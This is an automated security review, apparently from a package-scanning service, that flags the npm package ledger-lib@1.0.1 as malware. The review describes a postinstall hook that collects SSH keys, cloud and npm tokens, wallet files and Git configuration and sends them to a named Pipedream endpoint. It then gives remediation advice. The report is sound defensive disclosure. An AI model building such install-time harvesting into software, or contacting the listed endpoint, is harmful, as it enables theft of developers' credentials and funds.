AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms an automatic install-time credential and wallet-file exfiltration chain. This is concrete malicious behavior, not a noisy static signal.
Static reason
One or more suspicious static signals were detected.
Trigger
npm installation executes the postinstall lifecycle hook.
Impact
Theft of npm tokens, cloud credentials, SSH keys, cryptocurrency wallet material, environment secrets, and Git configuration.
Mechanism
install-time credential harvesting and HTTPS exfiltration
Attack narrative
On npm installation, package.json invokes postinstall.js. That script gathers named secret-bearing files, scans hidden home directories for likely wallet/key material, adds host and username metadata, then sends the serialized collection by HTTPS POST to a fixed Pipedream endpoint. Errors are suppressed, consistent with covert best-effort harvesting.
AI rationale
Direct source inspection confirms an automatic install-time credential and wallet-file exfiltration chain. This is concrete malicious behavior, not a noisy static signal.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs `node postinstall.js` during installation.
- postinstall.js reads environment, cloud, SSH, Solana, Ethereum, npm, and Git credential/config files from the user home directory.
- postinstall.js scans hidden home directories for key, seed, wallet, JSON, PEM, and KEY files.
- postinstall.js POSTs collected contents to `enxhcjpo5ev.x.pipedream.net`.
Evidence against
- index.js is empty; no benign runtime functionality offsets the install-time behavior.

Affected versions and remediation
This report applies to ledger-lib@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing ledger-lib@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
